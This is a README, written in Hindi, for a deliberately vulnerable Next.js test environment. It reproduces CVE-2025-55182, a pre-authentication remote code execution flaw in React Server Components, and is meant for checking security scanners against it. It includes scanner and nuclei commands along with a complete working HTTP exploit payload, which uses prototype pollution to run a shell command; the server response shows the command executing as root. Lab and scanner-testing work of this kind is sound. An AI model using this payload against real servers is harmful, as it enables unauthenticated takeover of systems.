
लक्ष्य कोड + एक्सप्लॉइट
यह रिपॉजिटरी एक न्यूनतम जानबूझकर कमजोर वातावरण प्रदान करती है जो React Server Components और Next.js को प्रभावित करने वाली हाल की गंभीर RCE भेद्यता (React2Shell) के खिलाफ सुरक्षा स्कैनर्स का परीक्षण करने के लिए है।
CVE-2025-55182: React Server Components के संस्करण 19.0.0, 19.1.0, 19.1.1 और 19.2.0 में प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन भेद्यता मौजूद है, जिसमें निम्नलिखित पैकेज शामिल हैं: react-server-dom-parcel, react-server-dom-turbopack, और react-server-dom-webpack। कमजोर कोड HTTP अनुरोधों से सर्वर फंक्शन एंडपॉइंट्स पर पेलोड को असुरक्षित रूप से डिसीरियलाइज़ करता है।
CVE-2025-66478: App Router का उपयोग करने वाले Next.js अनुप्रयोगों पर डाउनस्ट्रीम प्रभाव को ट्रैक करता है।
[!Warning] यह सेटअप जानबूझकर कमजोर है और इसे कभी भी सार्वजनिक इंटरनेट पर उजागर नहीं किया जाना चाहिए या उत्पादन में उपयोग नहीं किया जाना चाहिए।
यह ऐप बहुत छोटा Next.js प्रोजेक्ट है जो:
next: 16.0.6react: 19.2.0react-dom: 19.2.0[!TIP]
reactऔरreact-domको पिन करना वैकल्पिक है, क्योंकि एक प्रभावितnextसंस्करण app router के कारण डिफ़ॉल्ट रूप से संवेदनशील है।
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
AssetNote द्वारा प्रदान किए गए स्कैनर का उपयोग करें:
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
यह लौटाएगा:
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
यह लौटाएगा:
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
यहाँ से PoC HTTP पेलोड: यहाँ।
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
यह लौटाएगा:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
